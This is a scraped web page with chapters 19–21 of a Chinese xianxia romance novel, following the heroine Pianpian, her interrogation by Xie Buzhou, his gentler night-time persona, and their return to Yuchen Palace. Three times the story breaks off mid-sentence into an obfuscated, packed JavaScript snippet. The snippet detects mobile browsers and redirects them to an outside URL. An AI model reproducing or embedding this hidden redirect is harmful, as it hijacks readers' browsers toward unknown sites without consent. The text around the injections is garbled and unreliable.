哪像她这个无灵根的凡人,此刻只想与周公会面,最好能睡到地老天荒。 想到这里,她醉眼朦胧地看向房间里唯一那张看起来就很舒服的床榻—— 唔,上面坐着个让她目前非常、非常不想看见的人。 “都要……睡觉了……” 她嘟囔着,脚步虚浮地朝床的方向挪去,带着一身酒气凑近谢不舟,那混合着桃花香醇的呼吸,几乎要直接喷吐在他那张没什么表情的脸上。 “你怎么……还出现在我面前……碍眼……” 是桃花仙酿。 谢不舟不动声色地判断出酒的种类。 是他藏品中后劲颇足的一种。 他看着她近在咫尺、因醉酒而显得比平日少了几分狡黠、多了几分憨态的脸,没有动作,也没有推开。 “能不能……体谅一下我这个……凡人?” 翩翩试图跟他讲道理,虽然舌头有点打结,“晚上……要休息,不想看到……” 她本能地想说出“不想看到你这张冷脸”,但残存的理智让她把话咽了回去。 然而,话没说完,她脚下又是一个趔趄,这次没能稳住,“哎哟”一声,结结实实地摔在了靠近床边的冰凉地板上。 “疼疼疼……” 这一摔,疼痛感让翩翩混沌的神智稍微有了几分清醒。 她坐在地上,捂着被撞到的额角,龇牙咧嘴。 疼痛也让她猛地想起了那个要命的问题—— 缚心咒! 她和谢不舟之间还连着这该死的咒法呢。 她怎么能自己一个人睡? 但酒意上涌,加上疲惫至极,她那被酒精浸泡的大脑转了个弯。 不对啊,这仙舟虽然不算特别大,但房间不止这一间啊! 隔壁,隔壁的隔壁,不都是空着的客房吗? 她完全可以睡到那里去! 只要距离不太远,缚心咒大概……可能……也许……不会发作吧? 天杀的,她现在是真的一点都不想面对谢不舟那仿佛能冻死人的目光和无处不在的怀疑。 于是,她坐在地上,仰起头,努力挤出一个自认为非常诚恳、实则因为醉酒而显得有些滑稽的笑容:“那个,谢……谢师兄。” “今晚……咱能……自己睡吗?” 她尴尬地干笑两声,试图让自己的理由听起来充分无比:“你看看啊,您……您那么神通广大,修为高深,我……我人就在你的仙舟上,就这么大点儿地方,怎么翻……也翻不出您的手掌心不是?” 她甚至双手合十,做出祈求的姿态,语气带上了几分可怜巴巴:“求求您了,可怜可怜我吧……这都半个月了,我就……就只正儿八经睡过一次床……” 那次还是午夜谢的出现,她才沾光睡了床。 她一边说,一边委屈地揉了揉自己感觉快要断掉的老腰,暗示自己这段时间风餐露宿、以天为盖地为庐的凄惨。 或许是酒精麻痹了警惕神经,或许是刚刚从一场生死危机中脱离让她有些松懈,又或许是连日来的疲惫让她失去了平日里的谨慎。 此刻的翩翩,似乎完全忘记了—— 也许是刻意忽略了, 眼前这个看似清冷出尘的谢不舟,从来都对她抱有极深的疑虑。 那隐藏在平静表象下的,是随时可能爆发的杀心。 几乎就是在翩翩话音落下的瞬间。 一道金色的流光如同拥有生命的灵蛇,自谢不舟袖中钻出。 速度快得超出了翩翩醉酒状态下的反应极限。 “嗖嗖嗖——” 那金光瞬间缠绕上翩翩的身体,如同最坚韧的藤蔓,将她从头到脚捆了个结结实实。 是缚仙索。 谢不舟用来擒拿棘手罪人的法器之一。 越是挣扎,束缚得越紧,甚至会封锁灵力。 虽然这个功能对她无用。 翩翩只觉得浑身一紧,紧接着便是动弹不得,连根手指头都抬不起来。 醉意瞬间被这突如其来的变故吓醒了大半。 “哦?” 谢不舟缓缓起身,走到被捆成粽子、跌坐在地的翩翩面前。 他居高临下地看着她。 那双深邃的眼眸里再无半分之前的平静,取而代之的是一种带着审视和压迫感的锐利。 他以一种绝对俯视的、近乎傲慢的姿态,缓缓开口,声音寒得像冰: “我记得,当时在那忘川镜碎片面前,所有人都受到生魂撕扯的影响,痛苦不堪。” 他微微俯身,目光精准地剖析着翩翩脸上每一丝细微的表情。 “但,为何唯独你,魂魄似乎并未受到半分影响?” 他顿了顿,每个字都清晰无比,带着不容置疑的质问: “师妹,能和我说说原因吗?” 翩翩浑身猛地一僵,冷汗瞬间就从额角、后背冒了出来,几乎浸湿了内衫。 醉意在这致命的问询下,彻底烟消云散,只剩下彻骨寒意。 “师、师兄……你看错了吧?” 她强自镇定,“我、我其实也很痛苦的……只是,只是你也知道……” 翩翩的大脑飞速运转,试图寻找一个合理的借口:“我、我一个杂役弟子,没什么背景,经常……经常受人欺负,所以,所以特别、特别能忍痛……对!特别能忍!” 她几乎是咬着牙说出这个连自己都觉得蹩脚的理由。 谢不舟闻言,唇角似乎勾起了一抹极淡极冷的弧度。 那笑容里没有半分温度。 “就算这件事情,真如师妹你说的那般,特别能忍。” 他慢条斯理地开口,同时,抬起了右手。 只见他掌心之中,灵力缓缓汇聚,光芒流转间,一件物事由虚化实,逐渐凝聚成形—— 那是一面镜子! 质地古朴,边缘带着仿佛历经万古沧桑的斑驳痕迹,镜身之上,流淌着奇异而繁复的、蕴含着某种难以言喻道韵的斑斓花纹。 镜面幽深,仿佛能映照人心,又似连接着某个未知的虚空。 这面镜子散发出的气息,与忘川镜碎片截然不同。 它没有那么霸道强烈的生死法则之力,却更加内敛、深邃,带着一种源自本源的、独特的韵律。 正是那时在海底,于千钧一发之际,在翩翩眼眸深处浮现、几欲成型的那面本命镜的虚影。 谢不舟竟然不知用了何种手段,将其形态完全模拟、甚至拓印了出来。 他将这面灵力凝聚的镜子虚托到翩翩眼前,镜面正对着她瞬间缩小的瞳孔。 “那师妹可否向我解释——” 他的声音依旧平稳,却带着山雨欲来的恐怖压力,一字一句,敲打在翩翩紧绷的神经上: “这,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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翩翩身上的冷汗已经浸透了杂役弟子单薄的衣衫,紧贴在皮肤上,带来一阵阵黏腻冰冷的触感。 大脑因为极度紧张和恐惧,甚至开始有些缺氧般的眩晕。 如果、如果这时候能有个师兄或者师姐突然来敲门,像以前无数次那样,无意中打断这危险的局面,该有多好…… 翩翩几乎要开始异想天开地祈祷奇迹发生。 她死死咬住下唇,几乎尝到了血腥味。 说什么?怎么说才能既保住秘密,又保住小命? 就在她心念电转之际—— 意想不到的事情发生了。 预想中善恶剑斩下的剧痛并未到来。 反而是—— “咚!” 一声闷响。 刚刚还气势逼人、冷漠审讯她的谢不舟,毫无征兆地,身体猛地一晃,直挺挺地向前倾倒,重重地摔在了地板上。 就倒在她被捆住的身体旁边,翩翩甚至能感受到他倒下时带起的微风。 ??? 翩翩彻底懵了。 发生了什么? 谢不舟……晕倒了? 她下意识就想凑过去查看情况,可身体被缚仙索捆得严严实实,连侧身都做不到,只能艰难地转动眼珠,看着倒在地上,一动不动的谢不舟。 这变故来得太过突然,让她的大脑宕机。 然而,这诡异的静止只维持了短短一瞬。 就在翩翩试图理解现状的下一刻,倒在地上的谢不舟,手指几不可查地动了一下。 紧接着,在翩翩惊疑不定的目光注视下,谢不舟用手臂支撑着地面,有些迟缓地、自行站了起来。 动作似乎带着一丝…… 不协调的陌生感? 翩翩下意识地用被捆住的双脚和臀部努力往后挪了挪,试图离谢不舟远一些。 缚仙索因为她的动作收缩得更紧,勒得她有些喘不过气。 她紧张地抬头,看向重新站定的谢不舟。 却见谢不舟的脸上,不再是那种冰封般的冷漠和锐利,反而…… 透出一股显而易见的迷茫。 他微微歪着头,看了看被捆得结结实实、满脸戒备和惊恐的翩翩,又低头看了看自己,仿佛对眼前的一切感到十分困惑。 他的目光最终落回到翩翩脸上,那双总是寒潭般的眸子里,此刻竟清澈得有些…… 懵懂? 他眨了眨眼,带着一种近乎纯然的好奇,轻声开口,试探性地唤出了她的名字,语调带着不确定的迟疑: “……翩翩?” 20. 第二十章 室内,空气仿佛凝固。 翩翩瞪大了眼睛,难以置信地看着眼前这个眼神迷茫,甚至带着点困惑的谢不舟。 那声迟疑的“翩翩”,与她记忆中那个冷硬如冰、杀伐果断的谢师兄截然不同。 是……他? 是那个在无数个危机四伏的夜晚出现,自称来自未来,对她多有维护,甚至显得有些——过分熟稔的午夜谢? 翩翩心里暗暗怀疑,警惕并未完全放下,但紧绷的神经却不自觉地松弛了几分。 谢不舟—— 或者说,此刻掌控这具身体意识的老谢。 似乎也终于理清了眼前混乱的状况。 他的目光落在翩翩身上那捆得结实、勒出痕迹的缚仙索上。 眉头几不可查地蹙了一下,带着明显的不赞同。 他抬起手。 甚至无需结印,只是对着缚仙索的方向,随意地挥了挥袖袍。 那连金丹修士都能困住的法器,竟如同遇到了真正的主人,金光瞬间收敛,缠绕的力道骤然消失,“嗖”地一声便化作一道流光。 它乖巧地没入谢不舟的袖中,仿佛从未出现过。 重获自由的翩翩下意识地活动了一下被勒得发麻的手腕和脚踝。 酸痛感让她忍不住吸了口凉气。 谢不舟立刻走到她身边,蹲下身来,目光带着毫不掩饰的关切,从头到脚,仔仔细细地把她打量了一遍,确认她除了被捆绑的痕迹和一些皮外伤之外,再无其他严重损伤,这才松了口气。 那神情,仿佛呵护她是再天经地义不过的事情。 “你……是那个谢不舟?” 翩翩试探着问,语气里依旧带着不确定。 她需要确认。 谢不舟抬起头,看向她,眼神温和,点了点头。 他们彼此都清楚,这个问句指向的是哪一个他。 翩翩一直悬着的心,终于“咚”地一声落回了实处。 她长长地舒出了一口气,连带着紧绷的肩膀都垮了下来。 即使理智告诉她,眼前这人同样顶着谢不舟的皮囊,甚至有可能根本不是来自什么未来,而是谢不舟修炼那剑道衍生出的心魔…… 但天杀的,翩翩对他就是有一种难以言喻的信任感。 或许是因为他数次在危难中出手相助,又或许是因为他眼神里从不曾掩饰的、与白天那个谢不舟截然不同的温和与…… 纵容。 谢不舟见她放松下来,伸出手,似乎想揉揉她的脑袋,像安抚一只受惊的小动物。 翩翩下意识地往后一缩,想躲开这过于亲昵的举动。 然而,她的动作远没有他快。 那只骨节分明、带着薄茧的手,还是轻轻落在了她的发顶,带着一种近乎珍视的力道,揉了揉她有些凌乱的发丝。 “不是说好了,” 他开口,声音比白日的谢不舟低沉柔和许多,带着无奈的责备,“如果他敢伤害你,你就直接戳他左眼吗?怎么还是把自己搞得这么狼狈?” 翩翩愣了一下,随即没好气地抬起自己刚刚获得自由、还带着红痕的手腕,在他眼前晃了晃,语气带着控诉:“那我也得有手才行啊!” “你看他给我这个机会了吗?” 一言不合就捆人,她倒是想戳,也得能动弹啊! 谢不舟突然低低地笑了起来。 不是冷笑,不是讥讽的笑,而是真正从胸腔里震动出来的、带着愉悦和些许无奈的低沉笑声。 翩翩彻底愣住了。 她从重生以来,见过的谢不舟,最常见的便是那张万年不化的冰山脸,要么就是充斥着冰冷审视和毫不掩饰的狰狞杀意。 即便是夜晚出现的这个他,也因为总是伴随着各种危机和战斗,神情多是凝重或安抚。 这还是她第一次…… 如此清晰地看到谢不舟笑。 不是皮笑肉不笑,不是冷笑,而是真正意义上的,带着温度的笑。 虽然很浅淡,却仿佛冰河解冻,春水初融,让他那张过于俊美也过于冷硬的脸庞,瞬间生动鲜活了起来,有种惊心动魄的美。 翩翩一时看得有些失神。 “所以,” 谢不舟止住笑,目光重新落回她带着倦意的脸上,语气温和,“你要睡觉了吗?我看你已经很困了。” 他顿了顿,给出选择,“我可以守在这里,或者……” 他似乎思考了一下,充分考虑到她的感受,“我知道你不喜欢‘他’,我也可以……去外面守着你。” 他的体贴让翩翩有些意外。 然而,经过刚才那一番惊吓,那点残存的睡意早就被善恶剑的寒光吓得烟消云散了。 更何况,此刻宁静的夜晚,难得的相对安全的环境,以及眼前这个似乎有问必答的谢不舟,都让她心里像是被猫爪子挠一样,充满了各种好奇和疑惑。 她还有很多问题想问。 “我现在,不想睡觉。” 翩翩说着,手脚并用地从地上爬起来,拍了拍屁股上并不存在的灰尘,然后灵巧地翻身坐到了床榻上,盘起了腿,摆出一个打坐的姿势。 只是眼神晶亮,完全没有入定的意思。 她歪着头,看着站在床边的谢不舟,脸上忽然绽开一个带着几分狡黠和醉意的笑容:“谢不舟,要不,我们玩个乐子吧?” “乐子?” 谢不舟挑眉,似乎对这个提议感到有些意外。 “嗯嗯!” 翩翩用力点头,眼睛更亮了,“就玩现在民间最最最风靡的——划拳!怎么样?” 她兴致勃勃,甚至开始一板一眼地比划着介绍规则,“很简单,就是石头、剪刀、布!我们三局两胜,赢的人,可以向输的人提一个问题!什么问题都可以哦!怎么样,敢不敢玩?” 她带着些许挑衅地看着他,脸颊因酒意和兴奋泛着红晕。 作为夜晚谢,对于翩翩提出的要求,他似乎有着毫无理由、近乎本能的纵容。 “可以的,翩翩。” 他深深地注视着她,那目光复杂,带着纵容,也带着一丝不易察觉的…… 仿佛透过她在看什么遥远东西的怅惘。 “那我可要开始喽!” 翩翩摩拳擦掌,跃跃欲试,一副胜券在握的样子。 要知道,上辈子在琳琅城,在她成为那个令人闻风丧胆的城主之前,在她还是个小透明的时候,有事没事就跟人玩这个打发时间,顺便…… 赢点小彩头。 十大灾星里,虽然不乏比她更聪明、更擅长谋略布局的家伙。 但论起划拳这种带点运气和心理博弈的小游戏,翩翩自信还是数一数二的。 她甚至私下里觉得自己有点这方面的天赋,堪称“划拳小福星”。 “第一局!” 翩翩清脆地喊出声,小手藏在背后,“石头、剪刀、布!” 她出了布,谢不舟出了石头。 “耶!我赢了!” 翩翩欢呼一声,立刻抛出第一个问题,带着点恶作剧的俏皮:“喜欢甜的,还是喜欢咸的?” 谢不舟似乎没料到她会问这个,愣了一下,才老实回答:“……喜欢甜。” “第二局!” 翩翩乘胜追击。 她又赢了。 “那你平时除了修行,还做些什么?” 她眨着眼问。 谢不舟看着她,目光专注,几乎没有任何犹豫,轻声道:“想你。” 翩翩:“…………” 这答案太过直白,反而让她一时语塞,脸颊不受控制地又热了几分。 她轻咳一声,强行忽略掉心头那点异样,催促道:“快,第三局!” 这次,谢不舟出了剪刀,翩翩出了石头。 三局全胜! “除了谢不舟,有没有什么小名?” 她乘胜追击,问些不着边际的话。 “……没有。”他回答得干脆。 “有没有做过此生都难忘的糗事?” “这……”他似乎真的认真思考了一下,“我需要想想。” ……………… 几局下来,翩翩几乎保持着全胜的战绩。 她问的问题天马行空,从口味偏好到日常琐事,话语里还带着桃花仙酿残留的甜香和酒气,眼神迷离又灵动。 而谢不舟,他对翩翩似乎有着无限的纵容。 偶尔,翩翩能敏锐地捕捉到他有那么一瞬间的迟疑,仿佛在偷偷放水,被她点破后,他便一本正经地用那张惯常没什么表情的冷脸,无比认真地夸奖:“你很厉害。” 天! 翩翩只觉得一股热流直冲头顶。 真的有人能抵挡天下第一剑在你面前,用这种认真的语气说“你很厉害”,还能无动于衷吗? 起码翩翩做不到。 一点也不行! 她忍不住“噗嗤”一声笑了出来,越笑越开心,眉眼弯成了月牙,之前被审讯的恐惧和压抑在这一刻被冲散得无影无踪。 她笑得前仰后合,甚至从床榻上跳了下来,赤着脚踩在冰凉的地板上。 酒意和欢愉让她胆子大了不少。 她凑近谢不舟,两人之间的距离瞬间被拉近,近到能清晰感受到彼此的呼吸,空气中弥漫开一股若有似无的、暧昧的气息。 她仰着头,看着谢不舟在近距离下依旧完美无瑕的侧脸线条和那双此刻显得格外深邃温和的眼睛,心脏不受控制地加速跳动。 “那你……” 她声音放得很轻,带着一丝不易察觉的颤抖和某种破釜沉舟的勇气,问出了那个盘旋在她心头许久的问题: “喜欢我吗?” 谢不舟明显愣住了。 他看着近在咫尺的她,那双总是清澈狡黠的眸子里,此刻映着他的倒影,带着期待,带着试探。 他眸色深了深,喉结微动,脸上掠过一丝复杂的情绪,有无奈,有痛楚,还有更深沉的、几乎要满溢出来的情感。 他张了张嘴,似乎想要说什么。 然而,就在他即将开口的瞬间,翩翩却猛地抬起手指,轻轻按在了自己的唇上,做了一个“嘘”的手势。 她脸上的笑容依旧,却仿佛蒙上了一层薄纱,带着点自嘲,也带着点逃避。 “还是不要说了。” 她打断了他,声音轻得像叹息,“我们……再接着下一个话题吧。” 说完,翩翩几乎是有些仓促地再次出手。 “石头、剪刀、布!” 这一次,胜负立分。 翩翩赢了。 赢得毫无悬念,甚至让人觉得,是不是连运气都在眷顾她。 或者说,是他在让她。 可如果,如果谢不舟能提前预知到她接下来要问的问题。 他还会不会,让她赢下这一局呢? 恐怕,连他自己也不知道答案。 只见翩翩抬手,将颊边一缕不听话的发丝撩到耳后,这个简单的动作在她做来,竟带着几分难以言喻的风情。 她踮起脚尖,努力让自己与他平视。 那双刚刚还弥漫着醉意和笑意的眼睛,此刻清澈无比,直直地看向此时的谢不舟,仿佛要穿透他的瞳孔,看到灵魂深处去。 她的声音很轻,却字字清晰,如同小珠落玉盘,瞬间将刚才那点暧昧旖旎的氛围冻至冰点: “你从第一眼见到我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495793|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就很怕我离开。” 她停顿了一下,观察着他细微的表情变化,继续道: “你又说,你来自更遥远的未来。” “所以,” 她几乎是屏住了呼吸,问出了那个盘旋在心底最深处的、沉重无比的问题, “更遥远未来的我,是已经……不在了吗?” 修士所说的不在,比单纯的死亡要严峻许多。 它意味着无法转世的魂魄,或者更直白的说法,魂飞魄散。 这个问题,像是一把淬了冰的匕首,精准地刺入了谢不舟最不愿被人触碰的地方。 谢不舟脸上的所有表情,在那一刹那,彻底凝固了。 他像是被一道无形的惊雷劈中,整个人僵在原地。 谢不舟垂下了脑袋,浓密的眼睫遮挡住了眸中所有翻涌的情绪,第一次,没有看翩翩,也没有回答她的问题。 静默。 令人窒息的静默在两人之间蔓延。 翩翩看着他低垂的头、紧抿的唇线和微微颤抖的指尖,心中已然有了答案。 她忽然扯了扯嘴角,露出一个看似轻松的笑容,转身,不再看他,随意地坐回到了冰凉的地板上,抱着膝盖,语气变得轻快,甚至带着点刻意的满不在乎: “好啦,逗你呢!我对这个问题一点都不感兴趣。” 她晃了晃脑袋,仿佛要甩掉那沉重的气氛。 “谁想知道自己未来是怎么没的呢?那每一天,不都像是在倒计时,在煎熬吗?太可怕了,我可不要提前知道。” 她的脸上又重新挂上了没心没肺的笑意,仰头看他,仿佛刚才那个尖锐的问题从未被问出口。 “我们……继续?” 谢不舟感觉自己的身体像是被冻僵了,血液都停止了流动。 他花了很大的力气,才勉强调动起面部肌肉,露出了一个自以为正常、实则僵硬难看的笑容,声音带着一丝不易察觉的沙哑: “……好,我们继续。” 话题被他生硬地转开,重新试图回到之前那种轻松愉快的氛围。 越到后面,桃花仙酿那绵长而霸道的后劲彻底涌了上来。 翩翩的脸颊坨红得像熟透的桃子,眼神迷蒙,问的问题也越来越天马行空,不着边际。 “那,既然……你是从未来过来的,” 她大着舌头,脑袋一点一点,几乎要坐不稳,“那我问你,那位在戒事堂……永远都在克扣我馒头的管事长老,最后……有人把他搞下去了吗?” 谢不舟看着她醉态可掬的模样,眼神温柔耐心地回答:“有。他被免除了管事长老的资格。新来的长老很友善,不会骂人,每个杂役弟子……都能吃得饱肚子。” “……真好。”她笑道。 “那……” 翩翩醉得厉害,头一歪,差点直接栽倒下去。 谢不舟眼疾手快地伸出手掌,稳稳托住了她歪倒的脸颊。 他的掌心温热,贴着她微凉滑腻的皮肤,两人皆是一怔。 他似乎贪恋这片刻的触碰,几个问题的间隙,手指都未曾离开她的脸颊。 只是极轻地、克制地摩挲着。 “玉宸宫那位讨厌的……人面兽心的代理掌门,” 翩翩含糊地继续问,“我离开宗门……他还在四处造我谣的那个……有人去揍他了吗?” “揍了。” 谢不舟的声音很轻,却带着一种毋庸置疑的笃定。 “而且……把他的牙全都打碎了。” 他补充道,语气平静,内容却带着狠厉,“他现在说话还漏风,不会……再说你的闲话了。” “爽!” 翩翩迷迷糊糊地,用力一拍自己的大腿,发出清脆的响声,然后吃痛地“嘶”了一声,却又满足地傻笑起来。 ……………… 到了最后,翩翩的意志力终于彻底被酒精打败。 她问问题的声音越来越小,语速越来越慢,最终脑袋一歪,完完全全地靠在谢不舟还没来得及收回的手臂上,沉沉睡了过去。 呼吸变得均匀绵长,带着淡淡的酒香。 谢不舟深深地看着她毫无防备的睡颜,那双总是灵动狡黠的眼睛此刻安静地闭着,长睫像两把小扇子,在眼睑下投下淡淡的阴影。 脸颊上的红晕未退,嘴唇微微嘟着,显得格外柔软。 他看了许久,仿佛要将这一刻的静谧刻入灵魂深处。 然后,他动作极其轻柔地,将她打横抱起。 她的身体很轻,蜷缩在他怀里,像一只找到了依靠的猫儿。 他小心翼翼地走到床边,如同对待世间最珍贵的易碎品,将她轻轻放在柔软的床铺上,拉过一旁的薄被,仔细地为她盖好。 做完这一切,他却没有立刻离开。 他在翩翩的床前徘徊了几圈,目光始终流连在她恬静的睡颜上。 深邃的眼眸里,翻涌着复杂难言的情绪,有温柔,有痛楚,有挣扎。 还有几乎要满溢出来的、深沉的爱恋。 他似乎在犹豫,在克制。 最终,某种冲动战胜了理智。 他俯下身,缓缓地靠近她,想要在那头乌黑柔亮的发梢上,留下一个克制珍重的轻吻。 一个只属于这个夜晚,这个他,的秘密。 然而,就在他的唇即将触碰到她发丝的瞬间—— 睡梦中的翩翩似乎感觉到了什么,无意识地轻轻动了一下,转过了头。 于是,那个原本计划落在发梢的、克制的吻,阴差阳错地,轻轻印在了她闭合着的、温热的眼皮上。 在左眼皮, 是一个轻柔的吻。 伴随着月光,和桃花的酒香。 21. 第二十一章 “翩翩姐我们快到啦!” 耳边传来陈澜兴奋的声音,翩翩立在最前头,透过层层流云,她看到了玉宸宫的全貌。 玉宸宫。 她心里默默念着这个名字。 她又回来了。 翩翩抬头向前方眺望。 玉宸宫,让无数修士为之心驰神往的修仙界第一宗门。 虽以宫为名,其主体却并非寻常宫殿。 它是一座座大小不一,形态各异的浮空仙岛。 有道是天上极乐境,地下玉宸宫。 仙岛错落有致地悬浮于万丈苍穹之上,沐浴在璀璨天光与浩瀚云气中,散发着磅礴灵气与种种威仪。 最底层,是数量最为庞大的外岛群。 也是身为杂役弟子的翩翩最为熟悉的地方,她的老家。 岛屿之上,屋舍连绵,人来人往,虽然灵气稀薄,这里却充满了烟火气。 再往上飞,则是内岛。 这些岛屿显然比外岛更有仙气,岛上灵气氤氲成雾,乃是内门弟子的居所与修炼之地。 而被内外群岛如同众星拱月般,环绕在中央的, 则是一片更为恢弘的岛群。 无数振翅欲飞的金乌,展开巨大的羽翼,环绕着这些岛屿盘旋,洒下点点光辉。 是宗门议事大殿、藏经重地。 亦是诸位长老乃至掌门的清修之所,是玉宸宫真正的中心。 曾经翩翩也为玉宸宫的美丽逶迤而惊叹,但在经历众多事后,她再度看玉宸宫的全貌。 层层嵌套,等级分明。 什么只要努力修行就可以在这里赢得尊重。 不过是另一个将人分为三六九等的封建空壳罢了。 仙舟缓缓驶入玉宸宫,陈澜、聆音和其他弟子们都扒在舟边,兴奋地指指点点,议论纷纷。 离开宗门多日,历经生死,重返这熟悉又令人安心的宗门。 每个人的脸上都洋溢着轻松与喜悦。 “总算回来了!我感觉宗门里的灵气都比外面香甜几分!” 一个弟子深深吸了口气,满脸陶醉。 “可不是嘛,这次任务真是太刺激了,我得回去好好睡上三天三夜!” 另一个弟子拍着胸口,心有余悸。 “翩翩姐姐,等下回了宗门,你跟我们一起走吧!”陈澜转过头,热情地邀请在一旁显得兴致缺缺的翩翩。 “我师姐烤得烧鸡味道特别好,那叫一个外焦里嫩,带你去尝尝?” 聆音也温柔笑道:“是呀翩翩师妹,你初来乍到,对内岛不熟悉,我们带你逛逛,顺便也给你讲讲宗门里的一些趣事。” 翩翩原本百无聊赖地听着他们对玉宸宫的赞美。 她对这地方感情复杂。 委实没有太多归属感。 但一听到好吃的, 她的耳朵瞬间就竖了起来,眼睛也亮了几分。 天知道她这个凡人的胃, 对真正的美食渴望了多久! 她刚想点头答应,一个冷冽的声音却插了进来,打破了她的美好幻想。 “她需与我一道。” 谢不舟不知何时已站在不远处,身形笔挺,面容恢复了一贯的淡漠。 仿佛昨夜那个会笑、会纵容她胡闹的“午夜谢”只是一场幻梦。 翩翩的脸瞬间就垮了下来。 聆音看了看谢不舟,又看了看一脸不情愿的翩翩,似乎明白了什么。 她悄悄凑到翩翩耳边,压低声音,带着点分享秘密的意味:“翩翩师妹,谢师兄他……身为剑首亲传,可是独占一座内岛的哦!那可是无数内门弟子都羡慕不来的待遇。” “你去看看,开开眼界,也不亏嘛。” 翩翩在心里默默吐槽:一座岛了不起啊? 我上辈子还拥有一整座城呢! 琳琅城知道吗? 好吧,他们不知道。 但吐槽归吐槽,实话实说,作为前世今生都没什么存在感的杂役弟子,她活动的范围一直被局限在最底层的外岛。 对于那些悬浮在云端、灵气充裕的内岛,她不是没有向往过。 尤其是前世,她曾多少次仰望那些仙气缭绕的岛屿,幻想过上面的景象? 然而,其一,她没有登上其他岛的资格。 身份玉玦上那个明晃晃的“杂”字,如同一道无法逾越的鸿沟。 估计她一靠近传送阵,就会被毫不客气地请出去。 其二,也是最重要的一点。 她没有灵根,无法驱使任何飞行法器。 这些岛屿彼此悬空,间隔着万丈深渊,没有飞行能力,她根本去不了。 所以,严格来说,这还是她两辈子第一次,有机会踏足玉宸宫的内岛区域。 说内心不兴奋,不期待,那是假的。 可一想到是同谢不舟这个冰块脸一起,还是以这种近乎被押送的方式,翩翩就觉得那点兴奋和期待都大打折扣,脸色怎么也好看不起来。 仙舟最终停泊在了内外岛衔接的巨大平台上。 平台上符文流转,连接着通往各个内岛的小型传送阵。 陈澜、聆音、胖师兄等人纷纷走下仙舟,与谢不舟和翩翩告别。 “七师兄,那我们就先回去了!” “翩翩姐姐,下次再约好吃的啊!” “……” 胖师兄在经过翩翩身边时,脚步顿了顿,目光在她和谢不舟之间来回扫了扫,带着一种混合了探究、同情还有一丝丝看好戏的复杂情绪,没好气地嘀咕了一句。 “啧,看来这趟出去,有人是要飞黄腾达了啊……就是不知道,掌门那边,容不容得下这号人物……” 这话意味深长,带着刺。 翩翩眼皮都没抬一下,全当是耳边风。 热闹的人群散去,平台上很快就只剩下她和谢不舟两人。 气氛瞬间从刚才的喧闹跌至冰点。 沉默在两人之间蔓延。 翩翩是没什么话想跟这个白天的谢不舟讲,而谢不舟,显然也不是个会主动找话题的人。 谢不舟一言不发,径直走向一个标注着特殊印记的传送阵。 光芒闪过,短暂的失重感后,眼前的景象已然不同。 一股凛冽的寒意扑面而来,让刚从温和环境中出来的翩翩忍不住打了个哆嗦。 这就是谢不舟的岛? 入目所及,竟是一片银装素裹的冰雪世界。 与其他内岛的春意盎然、仙气缭绕截然不同。 这座岛上覆盖着厚厚的、仿佛亘古不化的积雪,裸露的岩壁上也挂满了冰棱。 空气中弥漫着干净却冰冷的寒意。 灵气虽然充沛,却带着一种霜雪般的锐利感,刺得人皮肤生疼。 整座岛屿显得异常冷清、孤寂,缺乏生机。 唯一的人工建筑,是坐落在岛屿前方的一座别院。 风格极其简洁,甚至可说是冷硬,没有任何多余的装饰,与这冰雪环境融为一体,透着一种苦行僧般的禁欲气息。 果然是个适合谢不舟这种冰块脸待的地方。 毫无审美,毫无生活情趣。 比起她华美精致的琳琅城,简直是一个天上,一个地下。 也不知道前世她走后,该死的谢不舟和那些仙门会如何处置她的琳琅城。 不会放把火直接烧了吧? 翩翩腹诽。 抱着胳膊,感觉更冷了。 谢不舟将她领进别院。 院内更是简洁到近乎空旷,除了一个显然是用来打坐的蒲团,和靠墙摆放的一排书架,几乎别无他物。 连张像样的桌椅板凳都没有。 虽然寒酸,倒也是符合剑修的基操。 有灵石自然要花给自己的仙剑老婆,至于自己以及自己的住所—— 凑活凑活,死不了就得了。 所以修仙界经常有着,剑修抱着自己价值无数上品灵石的本命剑,风餐露宿,乞丐似的倒在路边,四海为家。 别问。 问就是剑修有着旁人不懂的生活情趣。 谢不舟刚转过身,似乎想对翩翩交代些什么,他腰间悬挂的那枚代表亲传弟子身份的玉玦,突然急促地闪烁起光芒,并发出了低沉的嗡鸣。 是掌门传讯,且有要事相商。 谢不舟眉头瞬间蹙起,他敏锐地察觉到,这传讯的时机如此巧合,很可能与翩翩有关。 他带着一个杂役弟子返回内岛,这一路行来,绝不可能瞒过掌门的耳目。 而他本人,本就处于风口浪尖,备受瞩目。 必须立刻前去。 几乎就在瞬息间,谢不舟抬手,指尖灵力迸发,迅速在整座别院周围布下了一层无形的、却坚韧无比的灵力屏障。 光芒一闪而逝,屏障已成,将别院与外界彻底隔绝。 “在我回来之前,你便待在此处,莫要外出。”他语速极快,声音带着不容置疑的命令口吻。 “喂!我……”翩翩刚想问他这是什么意思,是不是要关她禁闭,以及最重要的问题—— 吃饭怎么解决? 然而,谢不舟根本没给她问出口的机会,说完便转身,步履匆匆地朝着传送阵的方向走去。 可他刚走出几步,身形又是一顿,仿佛又想起了什么极其重要的事情。 翩翩看着谢不舟风风火火地走过去,又风风火火地走过来。 谢不舟一个折返来回,在翩翩惊愕的目光中,一把抓住了她的左手手腕。 一股精纯的灵力瞬间涌入她腕间,那圈淡红色的、若隐若现的缚心咒印,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 